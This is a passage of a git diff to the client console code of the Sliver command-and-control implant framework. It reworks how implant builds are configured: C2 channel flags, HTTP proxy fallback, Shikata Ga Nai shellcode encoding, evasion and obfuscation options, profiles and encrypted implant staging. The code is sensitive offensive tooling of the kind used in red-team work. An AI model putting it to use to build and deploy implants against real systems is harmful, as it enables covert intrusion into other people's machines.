con.PrintErrorf("%s\n", err.Error())
|
||||
return "", nil
|
||||
return nil
|
||||
}
|
||||
c2s = append(c2s, tcpPivotC2...)
|
||||
|
||||
@@ -256,7 +259,7 @@ func parseCompileFlags(cmd *cobra.Command, con *console.SliverConsoleClient) (st
|
||||
|
||||
if len(mtlsC2) == 0 && len(wgC2) == 0 && len(httpC2) == 0 && len(dnsC2) == 0 && len(namedPipeC2) == 0 && len(tcpPivotC2) == 0 {
|
||||
con.PrintErrorf("Must specify at least one of --mtls, --wg, --http, --dns, --named-pipe, or --tcp-pivot\n")
|
||||
return "", nil
|
||||
return nil
|
||||
}
|
||||
|
||||
rawCanaries, _ := cmd.Flags().GetString("canary")
|
||||
@@ -289,7 +292,6 @@ func parseCompileFlags(cmd *cobra.Command, con *console.SliverConsoleClient) (st
|
||||
isSharedLib := false
|
||||
isService := false
|
||||
isShellcode := false
|
||||
sgnEnabled := false
|
||||
|
||||
format, _ := cmd.Flags().GetString("format")
|
||||
runAtLoad := false
|
||||
@@ -304,8 +306,6 @@ func parseCompileFlags(cmd *cobra.Command, con *console.SliverConsoleClient) (st
|
||||
case "shellcode":
|
||||
configFormat = clientpb.OutputFormat_SHELLCODE
|
||||
isShellcode = true
|
||||
sgnEnabled, _ = cmd.Flags().GetBool("disable-sgn")
|
||||
sgnEnabled = !sgnEnabled
|
||||
case "service":
|
||||
configFormat = clientpb.OutputFormat_SERVICE
|
||||
isService = true
|
||||
@@ -320,20 +320,20 @@ func parseCompileFlags(cmd *cobra.Command, con *console.SliverConsoleClient) (st
|
||||
targetArch := strings.ToLower(targetArchF)
|
||||
targetOS, targetArch = getTargets(targetOS, targetArch, con)
|
||||
if targetOS == "" || targetArch == "" {
|
||||
return "", nil
|
||||
return nil
|
||||
}
|
||||
if configFormat == clientpb.OutputFormat_SHELLCODE && targetOS != "windows" {
|
||||
con.PrintErrorf("Shellcode format is currently only supported on Windows\n")
|
||||
return "", nil
|
||||
return nil
|
||||
}
|
||||
if len(namedPipeC2) > 0 && targetOS != "windows" {
|
||||
con.PrintErrorf("Named pipe pivoting can only be used in Windows.")
|
||||
return "", nil
|
||||
return nil
|
||||
}
|
||||
|
||||
// Check to see if we can *probably* build the target binary
|
||||
if !checkBuildTargetCompatibility(configFormat, targetOS, targetArch, con) {
|
||||
return "", nil
|
||||
return nil
|
||||
}
|
||||
|
||||
var tunIP net.IP
|
||||
@@ -342,7 +342,7 @@ func parseCompileFlags(cmd *cobra.Command, con *console.SliverConsoleClient) (st
|
||||
tunIP = net.ParseIP(uniqueWGIP.IP)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to generate unique ip for wg peer tun interface")
|
||||
return "", nil
|
||||
return nil
|
||||
}
|
||||
con.PrintInfof("Generated unique ip for wg peer tun interface: %s\n", tunIP.String())
|
||||
}
|
||||
@@ -353,24 +353,19 @@ func parseCompileFlags(cmd *cobra.Command, con *console.SliverConsoleClient) (st
|
||||
connectionStrategy, _ := cmd.Flags().GetString("strategy")
|
||||
if connectionStrategy != "" && connectionStrategy != "s" && connectionStrategy != "r" && connectionStrategy != "rd" {
|
||||
con.PrintErrorf("Invalid connection strategy: %s\n", connectionStrategy)
|
||||
return "", nil
|
||||
return nil
|
||||
}
|
||||
|
||||
// Parse Traffic Encoder Args
|
||||
httpC2Enabled := 0 < len(httpC2)
|
||||
trafficEncodersEnabled, trafficEncoderAssets := parseTrafficEncoderArgs(cmd, httpC2Enabled, con)
|
||||
|
||||
c2Profile, _ := cmd.Flags().GetString("c2profile")
|
||||
if c2Profile == "" {
|
||||
c2Profile = consts.DefaultC2Profile
|
||||
}
|
||||
|
||||
config := &clientpb.ImplantConfig{
|
||||
GOOS: targetOS,
|
||||
GOARCH: targetArch,
|
||||
Name: name,
|
||||
Debug: debug,
|
||||
Evasion: evasion,
|
||||
SGNEnabled: sgnEnabled,
|
||||
ObfuscateSymbols: symbolObfuscation,
|
||||
C2: c2s,
|
||||
CanaryDomains: canaryDomains,
|
||||
@@ -402,11 +397,10 @@ func parseCompileFlags(cmd *cobra.Command, con *console.SliverConsoleClient) (st
|
||||
TrafficEncodersEnabled: trafficEncodersEnabled,
|
||||
Assets: trafficEncoderAssets,
|
||||
|
||||
DebugFile: debugFile,
|
||||
HTTPC2ConfigName: c2Profile,
|
||||
DebugFile: debugFile,
|
||||
}
|
||||
|
||||
return name, config
|
||||
return config
|
||||
}
|
||||
|
||||
// parseTrafficEncoderArgs - parses the traffic encoder args and returns a bool indicating if traffic encoders are enabled
|
||||
@@ -539,7 +533,7 @@ func ParseWGc2(args string) ([]*clientpb.ImplantC2, error) {
|
||||
func hasValidC2AdvancedOptions(options url.Values) (bool, error) {
|
||||
for key, value := range options {
|
||||
if len(value) > 1 {
|
||||
return false, fmt.Errorf("too many values specified for advanced option %s. Only one value for %s can be specified", key, key)
|
||||
return false, fmt.Errorf("too many values specified for advanced option %s. Only one value for %s can be specified.", key, key)
|
||||
}
|
||||
testValue := value[0]
|
||||
|
||||
@@ -596,35 +590,13 @@ func hasValidC2AdvancedOptions(options url.Values) (bool, error) {
|
||||
return true, nil
|
||||
}
|
||||
|
||||
func checkOptionValue(c2Options url.Values, option string, value string) bool {
|
||||
if !c2Options.Has(option) {
|
||||
return false
|
||||
} else {
|
||||
optionValue := c2Options.Get(option)
|
||||
return strings.ToLower(optionValue) == value
|
||||
}
|
||||
}
|
||||
|
||||
func uriWithoutProxyOptions(uri *url.URL) {
|
||||
options := uri.Query()
|
||||
// If any of the options do not exist, there is no error
|
||||
options.Del("proxy")
|
||||
options.Del("proxy-username")
|
||||
options.Del("proxy-password")
|
||||
options.Del("ask-proxy-creds")
|
||||
options.Del("fallback")
|
||||
|
||||
uri.RawQuery = options.Encode()
|
||||
}
|
||||
|
||||
// ParseHTTPc2 - Parse HTTP connection string arg
|
||||
func ParseHTTPc2(args string) ([]*clientpb.ImplantC2, error) {
|
||||
c2s := []*clientpb.ImplantC2{}
|
||||
if args == "" {
|
||||
return c2s, nil
|
||||
}
|
||||
allArguments := strings.Split(args, ",")
|
||||
for index, arg := range allArguments {
|
||||
for index, arg := range strings.Split(args, ",") {
|
||||
var uri *url.URL
|
||||
var err error
|
||||
if cmp := strings.ToLower(arg); strings.HasPrefix(cmp, "http://") || strings.HasPrefix(cmp, "https://") {
|
||||
@@ -649,16 +621,6 @@ func ParseHTTPc2(args string) ([]*clientpb.ImplantC2, error) {
|
||||
Priority: uint32(index),
|
||||
URL: uri.String(),
|
||||
})
|
||||
/* If a proxy is defined and the operator wants to fallback to connecting directly, add
|
||||
a C2 that connects directly without the proxy settings.
|
||||
*/
|
||||
if checkOptionValue(uri.Query(), "fallback", "true") && uri.Query().Has("proxy") && !checkOptionValue(uri.Query(), "driver", "wininet") {
|
||||
uriWithoutProxyOptions(uri)
|
||||
c2s = append(c2s, &clientpb.ImplantC2{
|
||||
Priority: uint32(index + len(allArguments)),
|
||||
URL: uri.String(),
|
||||
})
|
||||
}
|
||||
}
|
||||
return c2s, nil
|
||||
}
|
||||
@@ -783,7 +745,7 @@ func ParseTCPPivotc2(args string) ([]*clientpb.ImplantC2, error) {
|
||||
return c2s, nil
|
||||
}
|
||||
|
||||
func externalBuild(name string, config *clientpb.ImplantConfig, save string, con *console.SliverConsoleClient) (*commonpb.File, error) {
|
||||
func externalBuild(config *clientpb.ImplantConfig, save string, con *console.SliverConsoleClient) (*commonpb.File, error) {
|
||||
potentialBuilders, err := findExternalBuilders(config, con)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
@@ -823,7 +785,6 @@ func externalBuild(name string, config *clientpb.ImplantConfig, save string, con
|
||||
|
||||
con.PrintInfof("Creating external build ... ")
|
||||
externalImplantConfig, err := con.Rpc.GenerateExternal(context.Background(), &clientpb.ExternalGenerateReq{
|
||||
Name: name,
|
||||
Config: config,
|
||||
BuilderName: externalBuilder.Name,
|
||||
})
|
||||
@@ -833,6 +794,7 @@ func externalBuild(name string, config *clientpb.ImplantConfig, save string, con
|
||||
}
|
||||
con.Printf("done\n")
|
||||
|
||||
var name string
|
||||
msgF := "Waiting for external builder to acknowledge build (template: %s) ... %s"
|
||||
for waiting {
|
||||
select {
|
||||
@@ -850,13 +812,13 @@ func externalBuild(name string, config *clientpb.ImplantConfig, save string, con
|
||||
if len(parts) != 2 {
|
||||
continue
|
||||
}
|
||||
if parts[0] == externalImplantConfig.Build.ID {
|
||||
if parts[0] == externalImplantConfig.Config.ID {
|
||||
con.RemoveEventListener(listenerID)
|
||||
return nil, fmt.Errorf("external build failed: %s", parts[1])
|
||||
}
|
||||
|
||||
case consts.AcknowledgeBuildEvent:
|
||||
if string(event.Data) == externalImplantConfig.Build.ID {
|
||||
if string(event.Data) == externalImplantConfig.Config.ID {
|
||||
msgF = "External build acknowledged by builder (template: %s) ... %s"
|
||||
}
|
||||
|
||||
@@ -865,7 +827,7 @@ func externalBuild(name string, config *clientpb.ImplantConfig, save string, con
|
||||
if len(parts) != 2 {
|
||||
continue
|
||||
}
|
||||
if parts[0] == externalImplantConfig.Build.ID {
|
||||
if parts[0] == externalImplantConfig.Config.ID {
|
||||
con.RemoveEventListener(listenerID)
|
||||
name = parts[1]
|
||||
waiting = false
|
||||
@@ -906,7 +868,7 @@ func externalBuild(name string, config *clientpb.ImplantConfig, save string, con
|
||||
return nil, nil
|
||||
}
|
||||
|
||||
func compile(config *clientpb.ImplantConfig, save string, con *console.SliverConsoleClient) (*commonpb.File, error) {
|
||||
func compile(config *clientpb.ImplantConfig, disableSGN bool, save string, con *console.SliverConsoleClient) (*commonpb.File, error) {
|
||||
if config.IsBeacon {
|
||||
interval := time.Duration(config.BeaconInterval)
|
||||
con.PrintInfof("Generating new %s/%s beacon implant binary (%v)\n", config.GOOS, config.GOARCH, interval)
|
||||
@@ -942,7 +904,7 @@ func compile(config *clientpb.ImplantConfig, save string, con *console.SliverCon
|
||||
|
||||
fileData := generated.File.Data
|
||||
if config.IsShellcode {
|
||||
if !config.SGNEnabled {
|
||||
if disableSGN {
|
||||
con.PrintErrorf("Shikata ga nai encoder is %sdisabled%s\n", console.Bold, console.Normal)
|
||||
} else {
|
||||
con.PrintInfof("Encoding shellcode with shikata ga nai ... ")
|
||||
|
||||
@@ -14,24 +14,46 @@ import (
|
||||
// GetSliverBinary - Get the binary of an implant based on it's profile
|
||||
func GetSliverBinary(profile *clientpb.ImplantProfile, con *console.SliverConsoleClient) ([]byte, error) {
|
||||
var data []byte
|
||||
|
||||
ctrl := make(chan bool)
|
||||
con.SpinUntil("Compiling, please wait ...", ctrl)
|
||||
|
||||
generated, err := con.Rpc.Generate(context.Background(), &clientpb.GenerateReq{
|
||||
Config: profile.Config,
|
||||
})
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
// get implant builds
|
||||
builds, err := con.Rpc.ImplantBuilds(context.Background(), &commonpb.Empty{})
|
||||
if err != nil {
|
||||
con.PrintErrorf("Error generating implant\n")
|
||||
return data, err
|
||||
}
|
||||
data = generated.GetFile().GetData()
|
||||
_, err = con.Rpc.SaveImplantProfile(context.Background(), profile)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Error updating implant profile\n")
|
||||
return data, err
|
||||
|
||||
implantName := buildImplantName(profile.GetConfig().GetFileName())
|
||||
_, ok := builds.GetConfigs()[implantName]
|
||||
if implantName == "" || !ok {
|
||||
// no built implant found for profile, generate a new one
|
||||
con.PrintInfof("No builds found for profile %s, generating a new one\n", profile.GetName())
|
||||
ctrl := make(chan bool)
|
||||
con.SpinUntil("Compiling, please wait ...", ctrl)
|
||||
|
||||
generated, err := con.Rpc.Generate(context.Background(), &clientpb.GenerateReq{
|
||||
Config: profile.Config,
|
||||
})
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
if err != nil {
|
||||
con.PrintErrorf("Error generating implant\n")
|
||||
return data, err
|
||||
}
|
||||
data = generated.GetFile().GetData()
|
||||
profile.Config.FileName = generated.File.Name
|
||||
_, err = con.Rpc.SaveImplantProfile(context.Background(), profile)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Error updating implant profile\n")
|
||||
return data, err
|
||||
}
|
||||
} else {
|
||||
// Found a build, reuse that one
|
||||
con.PrintInfof("Sliver name for profile: %s\n", implantName)
|
||||
regenerate, err := con.Rpc.Regenerate(context.Background(), &clientpb.RegenerateReq{
|
||||
ImplantName: implantName,
|
||||
})
|
||||
if err != nil {
|
||||
return data, err
|
||||
}
|
||||
data = regenerate.GetFile().GetData()
|
||||
}
|
||||
return data, err
|
||||
}
|
||||
@@ -113,24 +135,6 @@ func FormatCompleter() carapace.Action {
|
||||
})
|
||||
}
|
||||
|
||||
// HTTPC2Completer - Completes the HTTP C2 PROFILES
|
||||
func HTTPC2Completer(con *console.SliverConsoleClient) carapace.Action {
|
||||
return carapace.ActionCallback(func(c carapace.Context) carapace.Action {
|
||||
grpcCtx, cancel := con.GrpcContext(nil)
|
||||
defer cancel()
|
||||
httpC2Profiles, err := con.Rpc.GetHTTPC2Profiles(grpcCtx, &commonpb.Empty{})
|
||||
if err != nil {
|
||||
return carapace.ActionMessage("failed to fetch HTTP C2 profiles: %s", err.Error())
|
||||
}
|
||||
|
||||
var results []string
|
||||
for _, profile := range httpC2Profiles.Configs {
|
||||
results = append(results, profile.Name)
|
||||
}
|
||||
return carapace.ActionValues(results...).Tag("HTTP C2 Profiles")
|
||||
})
|
||||
}
|
||||
|
||||
// TrafficEncoderCompleter - Completes the names of traffic encoders
|
||||
func TrafficEncodersCompleter(con *console.SliverConsoleClient) carapace.Action {
|
||||
return carapace.ActionCallback(func(c carapace.Context) carapace.Action {
|
||||
|
||||
@@ -1,39 +0,0 @@
|
||||
package generate
|
||||
|
||||
import (
|
||||
"context"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/spf13/cobra"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
)
|
||||
|
||||
// ImplantsStageCmd - Serve a previously generated build
|
||||
func ImplantsStageCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
|
||||
builds, err := con.Rpc.ImplantBuilds(context.Background(), &commonpb.Empty{})
|
||||
if err != nil {
|
||||
con.PrintErrorf("Unable to load implant builds '%s'\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
options := []string{}
|
||||
for name, _ := range builds.Configs {
|
||||
options = append(options, name)
|
||||
}
|
||||
|
||||
prompt := &survey.MultiSelect{
|
||||
Message: "Select sessions and beacons to expose:",
|
||||
Options: options,
|
||||
}
|
||||
selected := []string{}
|
||||
survey.AskOne(prompt, &selected)
|
||||
|
||||
_, err = con.Rpc.StageImplantBuild(context.Background(), &clientpb.ImplantStageReq{Build: selected})
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to serve implant %s\n", err)
|
||||
return
|
||||
}
|
||||
}
|
||||
@@ -53,14 +53,14 @@ func ImplantsCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []st
|
||||
implantBuildFilters := ImplantBuildFilter{}
|
||||
|
||||
if 0 < len(builds.Configs) {
|
||||
PrintImplantBuilds(builds, implantBuildFilters, con)
|
||||
PrintImplantBuilds(builds.Configs, implantBuildFilters, con)
|
||||
} else {
|
||||
con.PrintInfof("No implant builds\n")
|
||||
}
|
||||
}
|
||||
|
||||
// PrintImplantBuilds - Print the implant builds on the server
|
||||
func PrintImplantBuilds(builds *clientpb.ImplantBuilds, filters ImplantBuildFilter, con *console.SliverConsoleClient) {
|
||||
func PrintImplantBuilds(configs map[string]*clientpb.ImplantConfig, filters ImplantBuildFilter, con *console.SliverConsoleClient) {
|
||||
tw := table.NewWriter()
|
||||
tw.SetStyle(settings.GetTableStyle(con))
|
||||
tw.AppendHeader(table.Row{
|
||||
@@ -71,15 +71,12 @@ func PrintImplantBuilds(builds *clientpb.ImplantBuilds, filters ImplantBuildFilt
|
||||
"Format",
|
||||
"Command & Control",
|
||||
"Debug",
|
||||
"C2 Config",
|
||||
"ID",
|
||||
"Stage",
|
||||
})
|
||||
tw.SortBy([]table.SortBy{
|
||||
{Name: "Name", Mode: table.Asc},
|
||||
})
|
||||
|
||||
for sliverName, config := range builds.Configs {
|
||||
for sliverName, config := range configs {
|
||||
if filters.GOOS != "" && config.GOOS != filters.GOOS {
|
||||
continue
|
||||
}
|
||||
@@ -100,15 +97,9 @@ func PrintImplantBuilds(builds *clientpb.ImplantBuilds, filters ImplantBuildFilt
|
||||
continue
|
||||
}
|
||||
|
||||
implantType := ""
|
||||
if builds.ResourceIDs[sliverName].Type != "" {
|
||||
implantType = builds.ResourceIDs[sliverName].Type
|
||||
}
|
||||
|
||||
implantType := "session"
|
||||
if config.IsBeacon {
|
||||
implantType += "beacon"
|
||||
} else {
|
||||
implantType += "session"
|
||||
implantType = "beacon"
|
||||
}
|
||||
c2URLs := []string{}
|
||||
for index, c2 := range config.C2 {
|
||||
@@ -125,9 +116,6 @@ func PrintImplantBuilds(builds *clientpb.ImplantBuilds, filters ImplantBuildFilt
|
||||
config.Format,
|
||||
strings.Join(c2URLs, "\n"),
|
||||
fmt.Sprintf("%v", config.Debug),
|
||||
fmt.Sprintf(config.HTTPC2ConfigName),
|
||||
fmt.Sprintf("%v", builds.ResourceIDs[sliverName].Value),
|
||||
fmt.Sprintf("%v", builds.Staged[sliverName]),
|
||||
})
|
||||
}
|
||||
|
||||
|
||||
@@ -19,6 +19,7 @@ package generate
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
@@ -45,14 +46,17 @@ func ProfilesGenerateCmd(cmd *cobra.Command, con *console.SliverConsoleClient, a
|
||||
}
|
||||
profile := GetImplantProfileByName(name, con)
|
||||
if profile != nil {
|
||||
// If SGN is explicitly disabled, make sure this compilation reflects that despite whatever is set in the profile
|
||||
if SGNDisabled, _ := cmd.Flags().GetBool("disable-sgn"); SGNDisabled {
|
||||
profile.Config.SGNEnabled = !SGNDisabled
|
||||
}
|
||||
_, err := compile(profile.Config, save, con)
|
||||
disableSGN, _ := cmd.Flags().GetBool("disable-sgn")
|
||||
implantFile, err := compile(profile.Config, disableSGN, save, con)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
profile.Config.Name = buildImplantName(implantFile.Name)
|
||||
_, err = con.Rpc.SaveImplantProfile(context.Background(), profile)
|
||||
if err != nil {
|
||||
con.PrintErrorf("could not update implant profile: %v\n", err)
|
||||
return
|
||||
}
|
||||
} else {
|
||||
con.PrintErrorf("No profile with name '%s'", name)
|
||||
}
|
||||
|
||||
@@ -33,7 +33,7 @@ func ProfilesNewCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args [
|
||||
name = args[0]
|
||||
}
|
||||
// name := ctx.Args.String("name")
|
||||
_, config := parseCompileFlags(cmd, con)
|
||||
config := parseCompileFlags(cmd, con)
|
||||
if config == nil {
|
||||
return
|
||||
}
|
||||
@@ -60,7 +60,7 @@ func ProfilesNewBeaconCmd(cmd *cobra.Command, con *console.SliverConsoleClient,
|
||||
con.PrintErrorf("No profile name specified\n")
|
||||
return
|
||||
}
|
||||
_, config := parseCompileFlags(cmd, con)
|
||||
config := parseCompileFlags(cmd, con)
|
||||
if config == nil {
|
||||
return
|
||||
}
|
||||
|
||||
@@ -1,80 +0,0 @@
|
||||
package generate
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2019 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
"os"
|
||||
"strings"
|
||||
|
||||
"github.com/spf13/cobra"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
)
|
||||
|
||||
// ProfilesStageCmd - Generate an encrypted/compressed implant binary based on a profile
|
||||
func ProfilesStageCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
|
||||
name, _ := cmd.Flags().GetString("name")
|
||||
profileName := args[0]
|
||||
aesEncryptKey, _ := cmd.Flags().GetString("aes-encrypt-key")
|
||||
aesEncryptIv, _ := cmd.Flags().GetString("aes-encrypt-iv")
|
||||
rc4EncryptKey, _ := cmd.Flags().GetString("rc4-encrypt-key")
|
||||
prependSize, _ := cmd.Flags().GetBool("prepend-size")
|
||||
compressF, _ := cmd.Flags().GetString("compress")
|
||||
compress := strings.ToLower(compressF)
|
||||
save, _ := cmd.Flags().GetString("save")
|
||||
|
||||
profile := GetImplantProfileByName(profileName, con)
|
||||
if profile == nil {
|
||||
con.PrintErrorf("Profile not found\n")
|
||||
return
|
||||
}
|
||||
|
||||
ctrl := make(chan bool)
|
||||
con.SpinUntil("Compiling, please wait ...", ctrl)
|
||||
stage2, err := con.Rpc.GenerateStage(context.Background(), &clientpb.GenerateStageReq{
|
||||
Profile: profileName,
|
||||
Name: name,
|
||||
AESEncryptKey: aesEncryptKey,
|
||||
AESEncryptIv: aesEncryptIv,
|
||||
RC4EncryptKey: rc4EncryptKey,
|
||||
PrependSize: prependSize,
|
||||
Compress: compress,
|
||||
})
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
saveTo, err := saveLocation(save, stage2.File.Name, con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
err = os.WriteFile(saveTo, stage2.File.Data, 0o700)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to write to: %s\n", saveTo)
|
||||
return
|
||||
}
|
||||
con.PrintInfof("Implant saved to %s\n", saveTo)
|
||||
}
|
||||
@@ -21,7 +21,6 @@ package generate
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"math"
|
||||
"strings"
|
||||
|
||||
"github.com/jedib0t/go-pretty/v6/table"
|
||||
@@ -62,8 +61,6 @@ func PrintProfiles(profiles []*clientpb.ImplantProfile, con *console.SliverConso
|
||||
"Format",
|
||||
"Obfuscation",
|
||||
"Limitations",
|
||||
"C2 Profile",
|
||||
// "Nonce",
|
||||
})
|
||||
tw.SortBy([]table.SortBy{
|
||||
{Name: "Profile Name", Mode: table.Asc},
|
||||
@@ -93,8 +90,6 @@ func PrintProfiles(profiles []*clientpb.ImplantProfile, con *console.SliverConso
|
||||
fmt.Sprintf("%v", config.Format),
|
||||
obfuscation,
|
||||
getLimitsString(config),
|
||||
config.HTTPC2ConfigName,
|
||||
// profile.ImplantID,
|
||||
})
|
||||
}
|
||||
|
||||
@@ -125,305 +120,6 @@ func GetImplantProfileByName(name string, con *console.SliverConsoleClient) *cli
|
||||
return nil
|
||||
}
|
||||
|
||||
func populateProfileProperties(config *clientpb.ImplantConfig) map[string]string {
|
||||
properties := make(map[string]string)
|
||||
|
||||
var plural string
|
||||
|
||||
properties["osarch"] = fmt.Sprintf("%s %s", strings.Title(config.GOOS), strings.ToUpper(config.GOARCH))
|
||||
if config.IsBeacon {
|
||||
properties["implanttype"] = "Beacon"
|
||||
jitter := int(config.BeaconJitter / int64(math.Pow10(9)))
|
||||
plural = "s"
|
||||
if jitter == 1 {
|
||||
plural = ""
|
||||
}
|
||||
properties["beaconjitter"] = fmt.Sprintf("%d second%s", jitter, plural)
|
||||
interval := int(config.BeaconInterval / int64(math.Pow10(9)))
|
||||
plural = "s"
|
||||
if interval == 1 {
|
||||
plural = ""
|
||||
}
|
||||
properties["beaconinterval"] = fmt.Sprintf("%d second%s", interval, plural)
|
||||
} else {
|
||||
properties["implanttype"] = "Session"
|
||||
}
|
||||
if config.Debug {
|
||||
properties["debugging"] = "enabled"
|
||||
} else {
|
||||
properties["debugging"] = "disabled"
|
||||
}
|
||||
|
||||
if config.Evasion {
|
||||
properties["evasion"] = "enabled"
|
||||
} else {
|
||||
properties["evasion"] = "disabled"
|
||||
}
|
||||
|
||||
if config.ObfuscateSymbols {
|
||||
properties["obsymbols"] = "enabled"
|
||||
} else {
|
||||
properties["obsymbols"] = "disabled"
|
||||
}
|
||||
|
||||
if config.SGNEnabled {
|
||||
properties["sgn"] = "enabled"
|
||||
} else {
|
||||
properties["sgn"] = "disabled"
|
||||
}
|
||||
|
||||
reconnect := int(config.ReconnectInterval / int64(math.Pow10(9)))
|
||||
if reconnect == 1 {
|
||||
plural = ""
|
||||
} else {
|
||||
plural = "s"
|
||||
}
|
||||
properties["reconnect"] = fmt.Sprintf("%d second%s", reconnect, plural)
|
||||
|
||||
properties["maxerrors"] = fmt.Sprintf("%d", config.MaxConnectionErrors)
|
||||
|
||||
poll := int(config.PollTimeout / int64(math.Pow10(9)))
|
||||
if poll == 1 {
|
||||
plural = ""
|
||||
} else {
|
||||
plural = "s"
|
||||
}
|
||||
properties["polltimeout"] = fmt.Sprintf("%d second%s", poll, plural)
|
||||
|
||||
c2URLs := []string{}
|
||||
for index, c2 := range config.C2 {
|
||||
c2URLs = append(c2URLs, fmt.Sprintf("[%d] %s", index+1, c2.URL))
|
||||
}
|
||||
properties["implantC2"] = strings.Join(c2URLs, "\n")
|
||||
properties["canary"] = strings.Join(config.CanaryDomains, "\n")
|
||||
if config.ConnectionStrategy == "" {
|
||||
properties["connectstrat"] = "Sequential"
|
||||
} else if config.ConnectionStrategy == "r" {
|
||||
properties["connectstrat"] = "Random"
|
||||
} else if config.ConnectionStrategy == "rd" {
|
||||
properties["connectstrat"] = "Random Domain"
|
||||
} else {
|
||||
properties["connectstrat"] = config.ConnectionStrategy
|
||||
}
|
||||
properties["outputlimits"] = "n"
|
||||
if config.LimitDomainJoined {
|
||||
properties["limit-domjoin"] = "Yes"
|
||||
properties["outputlimits"] = "y"
|
||||
} else {
|
||||
properties["limit-domjoin"] = "No"
|
||||
}
|
||||
|
||||
if config.LimitDatetime != "" {
|
||||
properties["limit-dt"] = config.LimitDatetime
|
||||
properties["outputlimits"] = "y"
|
||||
} else {
|
||||
properties["limit-dt"] = "No restriction"
|
||||
}
|
||||
|
||||
if config.LimitFileExists != "" {
|
||||
properties["limit-file"] = config.LimitFileExists
|
||||
properties["outputlimits"] = "y"
|
||||
} else {
|
||||
properties["limit-file"] = "No restriction"
|
||||
}
|
||||
|
||||
if config.LimitHostname != "" {
|
||||
properties["limit-host"] = config.LimitHostname
|
||||
properties["outputlimits"] = "y"
|
||||
} else {
|
||||
properties["limit-host"] = "No restriction"
|
||||
}
|
||||
|
||||
if config.LimitLocale != "" {
|
||||
properties["limit-locale"] = config.LimitLocale
|
||||
properties["outputlimits"] = "y"
|
||||
} else {
|
||||
properties["limit-locale"] = "No restriction"
|
||||
}
|
||||
|
||||
if config.LimitUsername != "" {
|
||||
properties["limit-user"] = config.LimitUsername
|
||||
properties["outputlimits"] = "y"
|
||||
} else {
|
||||
properties["limit-user"] = "No restriction"
|
||||
}
|
||||
|
||||
switch config.Format {
|
||||
case clientpb.OutputFormat_EXECUTABLE:
|
||||
properties["format"] = "Executable"
|
||||
case clientpb.OutputFormat_SHARED_LIB:
|
||||
properties["format"] = "Shared Library"
|
||||
case clientpb.OutputFormat_SERVICE:
|
||||
properties["format"] = "Service"
|
||||
case clientpb.OutputFormat_SHELLCODE:
|
||||
properties["format"] = "Shellcode"
|
||||
case clientpb.OutputFormat_THIRD_PARTY:
|
||||
properties["format"] = "Third Party"
|
||||
}
|
||||
if config.TrafficEncodersEnabled {
|
||||
properties["trafficencoders"] = strings.Join(config.TrafficEncoders, "\n")
|
||||
}
|
||||
|
||||
return properties
|
||||
}
|
||||
|
||||
// PrintProfileInfo - Print detailed information about a given profile
|
||||
func PrintProfileInfo(name string, con *console.SliverConsoleClient) {
|
||||
profile := GetImplantProfileByName(name, con)
|
||||
if profile == nil {
|
||||
con.PrintErrorf("Could not find a profile with the name \"%s\"", name)
|
||||
return
|
||||
}
|
||||
|
||||
config := profile.Config
|
||||
properties := populateProfileProperties(config)
|
||||
//con.Printf("--- Details for profile %s ---\n", profile.Name)
|
||||
tw := table.NewWriter()
|
||||
|
||||
// Implant Basics
|
||||
tw.AppendRow(table.Row{
|
||||
"OS / Architecture",
|
||||
properties["osarch"],
|
||||
})
|
||||
tw.AppendRow(table.Row{
|
||||
"Implant Type",
|
||||
properties["implanttype"],
|
||||
})
|
||||
tw.AppendRow(table.Row{
|
||||
"Implant Format",
|
||||
properties["format"],
|
||||
})
|
||||
|
||||
con.PrintInfof("Implant Basics\n")
|
||||
con.Printf("%s\n\n", tw.Render())
|
||||
|
||||
tw.ResetRows()
|
||||
// Obfuscation Options
|
||||
tw.AppendRow(table.Row{
|
||||
"Evasion is",
|
||||
properties["evasion"],
|
||||
})
|
||||
tw.AppendRow(table.Row{
|
||||
"Debugging is",
|
||||
properties["debugging"],
|
||||
})
|
||||
tw.AppendRow(table.Row{
|
||||
"Obfuscation of symbols is",
|
||||
properties["obsymbols"],
|
||||
})
|
||||
tw.AppendRow(table.Row{
|
||||
"Shikata Ga Nai (SGN) is",
|
||||
properties["sgn"],
|
||||
})
|
||||
|
||||
con.PrintInfof("Obfuscation\n")
|
||||
con.Printf("%s\n\n", tw.Render())
|
||||
|
||||
